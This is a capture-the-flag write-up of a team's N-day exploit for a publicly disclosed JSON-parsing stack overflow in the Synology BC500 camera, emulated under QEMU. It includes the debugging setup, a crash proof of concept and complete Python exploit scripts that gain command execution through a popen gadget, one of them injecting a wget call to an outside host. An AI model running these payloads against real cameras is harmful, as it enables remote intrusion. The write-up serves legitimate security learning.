Intro

This weekend I participated in Real World CTF. My team ultimately placed 3rd, winning $2500. This money will go towards our expenses for participating in DEFCON 2024!

Background

This challenge was an N-day exploitation of the Synology BC500 camera which was first exploited in the 2023 Vancouver. One very helpful aspect of this challenge is that the vulnerability was disclosed by teamt5, more information on the bug can be found in this writeup.

desc

The bug

As a brief summary, the bug is in the libjansson.so.4.7.0 library which is used to parse incoming JSON requests. It is a classic buffer overflow, caused by the line _isoc99_sscanf(key, "%s %s", v1, v2); which scans attacker controlled data into a fixed size stack buffer, giving overflow.

Credits

Completing this challenge as a team was a lot of fun! Here is some information about everyone who worked to solve the challenge

  • Piers
  • 4n0nym4u5
  • vishiswoz
  • elvis6356
  • not_master08
  • zerotistic https://zerotistic.blog/
  • joshl
  • unvarient
  • varun_5
  • charif01
  • h0ps
  • REt
  • r4z77

Debugging

With the vulnerability readily available, debugging is the most important thing to set up. So, it was the first thing I worked on. With a debugger enabled, we can gain invaluable information such as the stack layout and determine the next steps for the exploit.

The first step I took was extracting the cpio archive, and viewing the architecture of the binaries inside

extracting cpio, and determining architecture

$ mkdir player
$ cd player
$ cp ../player.cpio .
$ cpio -idv < player.cpio
...
$ rm player.cpio
$ file bin/busybox
bin/busybox: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 4.19.0, stripped

The binary is running 32-bit ARM assembly

gdbserver

From here, I can either recompile gdbserver from source, or I can find a version of it online. I chose the later, as it saves time not having to cross-compile. Here is a repository which contains various versions of gdbserver compiled for different architectures. For this target, select the arm-linux-gnueabi image. I chose 14.1, as it matches the version of gdb-multiarch I have installed on my computer.

rebuild cpio with gdbserver

Next, insert the gdbserver binary into the bin folder of extracted cpio archive, and repackage it.

cp ~/Downloads/gdbserver player/bin/
cd ..
./build.sh

build.sh

#!/bin/bash

cd player
find . -print0 | cpio --null -o --format=newc > ../player.cpio

telnet

While gdbserver is nice, it doesn’t do much if we don’t know which process to attach to. On top of that, a shell would also be nice for debugging system files. A simple solution to this is to spawn some telnetd processes on system initialization.

#!/bin/busybox ash
/bin/busybox mount -t sysfs sysfs /sys
/bin/busybox mount -t proc  proc /proc
/bin/busybox mount -t tmpfs tmpfs /dev
/bin/busybox mkdir -p /dev/shm
/bin/busybox mkdir -p /dev/pts
/bin/busybox mount -t devpts devpts /dev/pts
/bin/busybox mount -t debugfs none /sys/kernel/debug
# Populate /dev according to /sys
/bin/busybox mknod -m 660 console c 5 1
/bin/busybox mknod -m 660 null c 1 3
/bin/busybox mdev -s
/bin/busybox --install -s
echo "Welcome to NVT initramfs !!!!" > /dev/console
exec /sbin/init "$@" </dev/console >/dev/console 2>&1
#doesn't work
exec /bin/sh

Looking at the init file, first it handles mounting various objects and afterwords makes a call to /sbin/init. First, I tried the simple solution of executing a shell after the call to /sbin/init, but this did not work.

No problem, I know from experience that /sbin/init will execute various startup scripts located /etc/init.d/. This can be confirmed by looking at /etc/inittab, where you can see the line ::sysinit:sh /etc/init.d/rcS. rcS will in turn execute other scripts in the init.d directory according to their number. The format is S[NUMBER]_[NAME]. I chose to spawn the tty connections after the camera app had been initialized, as this seemed the best way to me. There are definitely other places this can be done, but this is where I chose.

I appended the following lines to /etc/init.d/S50_IPcamApp

echo "INIT telnetd"
telnetd -p 1338 -l /bin/sh &
telnetd -p 1339 -l /bin/sh &

Modify run.sh

Finally, we must modify run.sh to forward the necessary ports to the target.

New run.sh

#!/bin/sh
qemu-system-arm \
        -m 1024 \
        -M virt,highmem=off \
        -kernel zImage \
        -initrd player.cpio \
        -nic user,hostfwd=tcp:0.0.0.0:8080-:80,hostfwd=tcp:0.0.0.0:9001-:1337,hostfwd=tcp:0.0.0.0:9002-:1338,hostfwd=tcp:0.0.0.0:9003-:1339,hostfwd=tcp:0.0.0.0:9004-:1340 \
        -nographic

Now, it is possible to connect to the target via telnet on ports 9002, and 9003 from the host! From there, determine the correct process, and start gdbserver to listen on a different port.

How to debug

So now that everything has been setup, I need to reach the vulnerable code segment in a debugger. My teammates had determined that the vulnerable code segment would be spawned in someway though the /bin/webd process, which makes sense. They had also created a working PoC which would trigger the bug and cause a crash.

Early PoC (@REt)

import requests
import json

url = 'http://127.0.0.1:8080/syno-api/security/info/language'

header = {
    'Cookie':'sid=123'
}

j = [{
    'a':'',
    'a aaaaaaaaaaaaaaaaaaaabbbb':'',
}]

res = requests.post(url, json=j, headers=header)
print(res.text)

Armed with this knowledge, I set out on a mission to reach the vulnerable code segment in a debugger. As the bug itself does not reside in /bin/webd this proved to be a challenging task.

Attaching debugger

#from target, the multi option allows me to easily reattach /bin/webd
gdbserver --multi localhost:1337

#from host
gdb-multiarch
gef> gef-remote --pid $PID localhost 9001

Once attached to the target, I ran the PoC to see what paths were taken, the first thing I noticed is that webd will call vfork which preforms some system calls and exits. There are no segfaults, so this is not the path we want to take. Next, I changed the debugger setting to follow the parent process in the case of a fork. This is done with set follow-fork-mode parent. From this, I observed that after the vfork to call system, there was another call to fork. This seems promising.

So, I used the catch fork gdb command to set a catchpoint where fork is called, after hitting the fork, I set follow-fork-mode child to follow the child path, and I reach the segfault!

debugger output

(remote) gef➤  c
Continuing.
[Attaching after Thread 543.551 fork to child Thread 986.986]
[New inferior 2 (process 986)]
Reading /bin/webd from remote target...
Reading /bin/webd from remote target...
[Detaching after fork from parent process 543]
[Inferior 1 (process 543) detached]
Reading /lib/ld-linux-armhf.so.3 from remote target...
Reading /build/lib/debug/.build-id/dc/389ac64bcdc0d9a7748a8f1c780f0cd5a74055.debug from remote target...
[*] [remote] skipping 'system-supplied DSO at 0x7ef9e000'
gef➤  process 986 is executing new program: /www/camera-cgi/synocam_param.cgi
Reading /www/camera-cgi/synocam_param.cgi from remote target...
Reading /www/camera-cgi/synocam_param.cgi from remote target...
Reading /lib/ld-linux-armhf.so.3 from remote target...
Reading /lib/ld-linux-armhf.so.3 from remote target...
Reading /lib/libjansson.so.4 from remote target...
Reading /lib/libutil.so from remote target...
Reading /lib/libpthread.so.0 from remote target...
Reading /lib/libcurl.so.4 from remote target...
Reading /lib/libcrypto.so.1.1 from remote target...
Reading /lib/libssl.so.1.1 from remote target...
Reading /lib/libz.so.1 from remote target...
Reading /lib/libdl.so.2 from remote target...
Reading /usr/lib/libstdc++.so.6 from remote target...
Reading /lib/libm.so.6 from remote target...
Reading /lib/libgcc_s.so.1 from remote target...
Reading /lib/libc.so.6 from remote target...

Thread 2.1 "synocam_param.c" received signal SIGSEGV, Segmentation fault.
0x76860b14 in free () from target:/lib/libc.so.6
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────── registers ────
$r0  : 0x62626262 ("bbbb"?)
$r1  : 0x7effb3bc
$r2  : 0x134
$r3  : 0x0
$r4  : 0x62626262 ("bbbb"?)
$r5  : 0x0
$r6  : 0x4e7464
$r7  : 0x0
$r8  : 0x0
$r9  : 0x0
$r10 : 0x597954
$r11 : 0x7effb3a4
$r12 : 0x76f56040
$sp  : 0x7effb388
$lr  : 0x76f3e974
$pc  : 0x76860b14
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
─────────────────────────────────────── stack ────
[!] Unmapped address: '0x7effb388'
──────────────────────────────── code:arm:ARM ────
   0x76860b08 <free+36>        mov    r4,  r0
   0x76860b0c <free+40>        sub    sp,  sp,  #8
   0x76860b10 <free+44>        beq    0x76860bc0 <free+220>
 → 0x76860b14 <free+48>        ldr    r2,  [r0,  #-4]
   0x76860b18 <free+52>        sub    r1,  r0,  #8
   0x76860b1c <free+56>        tst    r2,  #2
   0x76860b20 <free+60>        bne    0x76860b64 <free+128>
   0x76860b24 <free+64>        ldr    lr,  [pc,  #264]    @ 0x76860c34 <free+336>
   0x76860b28 <free+68>        mrc    15,  0,  r3,  cr13,  cr0,  {3}
───────────────────────────────────── threads ────
[#0] Id 1, Name: "synocam_param.c", stopped 0x76860b14 in free (), reason: SIGSEGV
─────────────────────────────────────── trace ────
[#0] 0x76860b14 → free()
[#1] 0x76f3e974 → b 0x76f3e97c
──────────────────────────────────────────────────
gef➤

0x62626262 in r0 signifies the success of the PoC. Another useful piece of information is the binary name, /www/camera-cgi/synocam_param.cgi which we can use too search for various pieces of info.

The final step before moving onto exploitation is automating the process of attaching, as it would be painful to go through these steps each time.

.gdbinit

source /usr/share/gef/gef.py

gef-remote --pid 543 localhost 9001
set follow-fork-mode parent
catch fork

c
set follow-fork-mode child
d 1
catch exec #stop at the start of execution

Exploitation

There are several things to note about this challenge.

  1. The bug is in the libjansson library, not the base binary
  2. libjansson does not have the stack-canary enabled.
  3. while PIE and ASLR are enabled, they only randomize the address space by a factor of 1/16. This means a leak is not needed, and 1/16 odds of success are good enough for a CTF

Examining Stack layout before overflow

gef  info proc mappings
process 2455
Mapped address spaces:

        Start Addr   End Addr       Size     Offset  Perms   objfile
          0x410000   0x4b7000    0xa7000        0x0  r-xp   /www/camera-cgi/synocam_param.cgi
          0x4c7000   0x4c9000     0x2000    0xa7000  rw-p   /www/camera-cgi/synocam_param.cgi
        0x76f08000 0x76f28000    0x20000        0x0  r-xp   /lib/ld-2.30.so
        0x76f38000 0x76f3a000     0x2000    0x20000  rw-p   /lib/ld-2.30.so
        0x7ef70000 0x7ef91000    0x21000        0x0  rw-p   [stack]
        0x7effb000 0x7effc000     0x1000        0x0  r-xp   [sigpage]
        0x7effc000 0x7effd000     0x1000        0x0  r--p   [vvar]
        0x7effd000 0x7effe000     0x1000        0x0  r-xp   [vdso]
        0xffff0000 0xffff1000     0x1000        0x0  r-xp   [vectors]
gef  b *0x410000+0x74a4 #break after shared libraries are loaded
Breakpoint 3 at 0x4174a4
Thread 2.1 "synocam_param.c" hit Breakpoint 3, 0x004174a4 in ?? ()
gef  info proc mappings
process 2455
Mapped address spaces:

        Start Addr   End Addr       Size     Offset  Perms   objfile
          0x410000   0x4b7000    0xa7000        0x0  r-xp   /www/camera-cgi/synocam_param.cgi
          0x4c7000   0x4c8000     0x1000    0xa7000  r--p   /www/camera-cgi/synocam_param.cgi
          0x4c8000   0x4c9000     0x1000    0xa8000  rw-p   /www/camera-cgi/synocam_param.cgi
          0x4c9000   0x4ea000    0x21000        0x0  rw-p   [heap]
          .
          .
          .
        0x76ee8000 0x76ef7000     0xf000        0x0  r-xp   /lib/libjansson.so.4.7.0
        0x76ef7000 0x76f06000     0xf000     0xf000  ---p   /lib/libjansson.so.4.7.0
        0x76f06000 0x76f07000     0x1000     0xe000  r--p   /lib/libjansson.so.4.7.0
        0x76f07000 0x76f08000     0x1000     0xf000  rw-p   /lib/libjansson.so.4.7.0
        0x76f08000 0x76f28000    0x20000        0x0  r-xp   /lib/ld-2.30.so
        0x76f32000 0x76f38000     0x6000        0x0  rw-p
        0x76f38000 0x76f39000     0x1000    0x20000  r--p   /lib/ld-2.30.so
        0x76f39000 0x76f3a000     0x1000    0x21000  rw-p   /lib/ld-2.30.so
        0x7ef70000 0x7ef91000    0x21000        0x0  rw-p   [stack]
        0x7effb000 0x7effc000     0x1000        0x0  r-xp   [sigpage]
        0x7effc000 0x7effd000     0x1000        0x0  r--p   [vvar]
        0x7effd000 0x7effe000     0x1000        0x0  r-xp   [vdso]
        0xffff0000 0xffff1000     0x1000        0x0  r-xp   [vectors]
#break right befor the bug
gef  b *0x76ee8000+0x6be0 
Breakpoint 4 at 0x76eeebe0
gef  x/i 0x76ee8000+0x6be0
   0x76eeebe0:  bl      0x76ee9990 <__isoc99_sscanf@plt>
gef  c
Thread 2.1 "synocam_param.c" hit Breakpoint 4, 0x76eeebe0 in ?? () from target:/lib/libjansson.so.4
gef  x/40wx $sp
0x7ef903a8:     0x7ef903a8      0x00000000      0x00000004      0x7ef904a8
0x7ef903b8:     0x00000001      0x76f07030      0x76f324d0      0x00000000
0x7ef903c8:     0x00000001      0x7bf904a0      0x7b000000      0x00000001
0x7ef903d8:     0x7ef903f3      0x7ef90400      0x00000000      0x7ef904a8
0x7ef903e8:     0x0000001a      0x76ef202c      0x004cf4f0      0x004cf450
0x7ef903f8:     0x7ef90424      0x76eef0d4      0x0000007b      0x00000000
0x7ef90408:     0x00000004      0x7ef904a8      0x00000000      0x7ef904a8
0x7ef90418:     0x00000000      0x0000007b      0x7ef90444      0x76eeee24
0x7ef90428:     0x00000000      0x00000000      0x00000004      0x7ef904a8
0x7ef90438:     0x5b00005b      0x004ce2e8      0x7ef9046c      0x76eef0ec
gef  b *0x76ee8000+0x6be4
Breakpoint 5 at 0x76eeebe4
gef  c
gef  x/40wx $sp
0x7ef903a8:     0x7ef903a8      0x00000000      0x00000004      0x7ef904a8
0x7ef903b8:     0x00000001      0x76f00061      0x76f324d0      0x00000000
0x7ef903c8:     0x00000001      0x7bf904a0      0x7b000000      0x00000001
0x7ef903d8:     0x7ef903f3      0x61616161      0x61616161      0x61616161
0x7ef903e8:     0x61616161      0x61616161      0x62626262      0x004cf400
0x7ef903f8:     0x7ef90424      0x76eef0d4      0x0000007b      0x00000000
0x7ef90408:     0x00000004      0x7ef904a8      0x00000000      0x7ef904a8
0x7ef90418:     0x00000000      0x0000007b      0x7ef90444      0x76eeee24
0x7ef90428:     0x00000000      0x00000000      0x00000004      0x7ef904a8
0x7ef90438:     0x5b00005b      0x004ce2e8      0x7ef9046c      0x76eef0ec
gef

The full output is much more verbose, but this is the general process I followed for debugging the overflow

My attempt

Given the lack of a stack protector, my intuition led me to try to ROP. assuming I can grab RIP it will be easy enough. My idea was to create some fake pointers for the values being overwritten so return would be called. So, I started hunting for gadgets, and wasting my time. Why was I wasting my time? Simple, I can’t write NULL bytes. The vulnerability copies with the %s format, meaning even if I could write null bytes in the JSON request, I wouldn’t be able to copy them. While shocked to realize this, I was still unconvinced. I came up with the idea to write the null bytes by using the fact that %s copies a null byte after the string ends. I thought this was pretty clever, and worth a shot, but if I took some more time to think it through, I may have realized the futility of this approach. The 2 pointers I overwrite before the return pointer handle the context for the JSON object being created, as such throughout the function they need to be valid, or the binary will segfault. If only one was necessary, it would be okay, but both are needed

While unsuccessful I think it was an interesting idea that may work out in the future.

failed solve.py

#!/usr/bin/env python2
#I switched to manually sending the request to try to send null bytes

import requests
import json
from pwn import *

r = remote('47.88.48.133', 36344)

binary_base = 0x400000

execve_off = 0x52ecc
mov_r0 = 0x000310f4#: mov r0, r3; pop {fp, pc};
pop_r3 = 0x0000654c#: pop {r3, pc};

final_payload = b''
target_string = 0x4c5a40

start = b'[{'
entry = b'"'
seperate = b'":"",'
end = b'":""}]'

#this is as far as I got before coming to the conclusion it doesn't work
payload = p32(binary_base+pop_r3)
payload = p32(binary_base+target_string)
payload += p32(mov_r0)

final_payload = start + entry
for i in range(len(payload)-1, 0, -1):
    final_payload += b'a'*56
    final_payload += b'\x60\x60\x77\x76'
    final_payload += b'a'*(i-60)
    if payload[i] != '\x00':
        final_payload += payload[i]
        final_payload += " "
    #write the context pointer
    final_payload += "a"*20
    final_payload += b"\x38\x41\x50"
    #final_payload += p32(0x00504d0)[:-1]
    final_payload += seperate
    final_payload += entry

final_payload += b"done"
final_payload += end


start = b'POST /syno-api/security/info/language HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nContent-Type:application/json\r\n'
header2 = b"Cookie:sid=123\r\n"
leng = b"Content-Length: {}\r\n\r\n".format(len(final_payload))

log.info(start+header2+leng+final_payload)

r.send(start+header2+leng+final_payload)
r.interactive()

That was it for me for day one. For context, it took me roughly 12 hours to get this far. What I have not included in this writeup is the many rabbit holes I fell down while trying to get everything working. To name a few, debugging the wrong processes, breaking at the wrong offset, and trying to manually install gef on Arch linux(I didn’t realize there was an AUR package and the way python is used in arch doesn’t work with the typical install).

Teammates to the rescue

While I was asleep, my teammates (h0ps, zerotistic, charif, and Piers) were able to succeed where I had failed. It turns out by extending the length of the overwrite to 236 bytes in length, we can control the r3 register, as well as the r0 register. This register is then used as a call, allowing control of program flow!

New solve.py (Piers)

import requests
import json
from pwn import *

r = remote('127.0.0.1', 8080)

context.arch = "arm"

base = 0x450000

guessed_base = 0x76755000
guessed_libc_base = guessed_base + 0x41000
guessed_libc_exit = guessed_libc_base + 0x2f368
popen = 0x14344
popenGadget = popen + base
off_cmd = 0xc2738
cmd = base + off_cmd
log.info("Popen: " + hex(popenGadget))
log.info("cmd: " + hex(cmd))
sep = b'"t":"' + b'P'*0x500 + b'",'
sep1 = b'"t1":"' + b'P'*0x500 + b'",'
sep2 = b'"t2":"' + b'P'*0x500 + b'",'

pCmd = b'wget http://10.0.2.2:12345/asbdjcab;'
payload = b'[{' + sep + sep1 + sep2 + b'"' + b'a'*(204+32) + p32(0x43434343) + p16(cmd & 0xffff) + p8(cmd >> 16) + b' ' + b''.ljust(204, b'C') + p16(popenGadget & 0xffff) + p8(popenGadget >> 16)+ b'":"' + pCmd.ljust(119, b'a') +b'"}]'

start = b'POST /syno-api/security/info/language HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nContent-Type:application/json\r\n'
header2 = b"Cookie:sid=123\r\n"
leng = b"Content-Length: " + bytes(str(len(payload)), "utf-8") + b"\r\n\r\n"

log.info(start+header2+leng+payload)
r.send(start+header2+leng+payload)
r.interactive()

With this, we were super close to solving the challenge. Only one problem remained, which was that for some reason the command was not executing. Later we would figure out that this was because there was a hanging quote at the end of the command. At this time I woke up and helped with debugging the final payload!

Executing commands

As I mentioned above, we have control of the r3 register, which is used to take control flow. Next, there is a value which is loaded into r0. By combining these two things, my teammates found that a call to a specific popen gadget will work.

Gadget

        00024d60 2c 32 9f e5     ldr        r3,[DAT_00024f94]                                = 0007E4F4h
        00024d64 03 30 8f e0     add        r3=>DAT_000a3260,pc,r3                           = 72h    r
        00024d68 03 10 a0 e1     cpy        r1=>DAT_000a3260,r3                              = 72h    r
        00024d6c 02 00 a0 e1     cpy        r0,r2
        00024d70 e9 c8 ff eb     bl         <EXTERNAL>::popen                                FILE * popen(char * __command, c

so the payload with look like this 'A'*236 + command_address + ' ' + 'A'*204 + popen_gadget

The last step is writing the command, which I decided to do by writing a few big blocks of data followed by the command, I used spaces ' ' for the padding as a kind of nop into the command. I haven’t mentioned it yet, but we are restricted in what characters can be used, so this padding is a kind of heap grooming.

And that’s it! The final part of the exploit was overwriting index.html with the flag, which can then be retrieved with curl!

Completed solve.py

#!/usr/bin/env python2

import requests
import json
from pwn import *

r = remote('localhost', 8080)

libc_base = 0x76795000
binary_base = 0x400000

popen_off = 0x14d60

target_string = 0x4c5a40

start = b'[{'
entry = b'"'
seperate = b'":"",'
end = b'":""}]'
payload = start + entry
payload += b'b":"' + b'b'*0x1000+b'cat /flag'
payload += b'","'
payload += b'c":"' + b' '*0xff0+b'cat /flag > /www/index.html'
payload += b'","'
payload += b'whoami":"","'
payload += b'a'*(204+36)
payload += p32(target_string)[:3]
payload += b" "
payload += b'C'*204
payload += p32(binary_base + popen_off)[:3]
payload += end

start = b'POST /syno-api/security/info/language HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nContent-Type:application/json\r\n'
header2 = b"Cookie:sid=123\r\n"
leng = b"Content-Length: {}\r\n\r\n".format(len(payload))

log.info(start+header2+leng+payload)

r.send(start+header2+leng+payload)

r.interactive()

Conclusion

Through this challenge, I learned a lot about debugging more complex targets. Usually in PWN challenges, debugging is relatively straight forward. It was a great experience getting to work through an N-day vulnerability like this, and I’m glad I got the change to compete!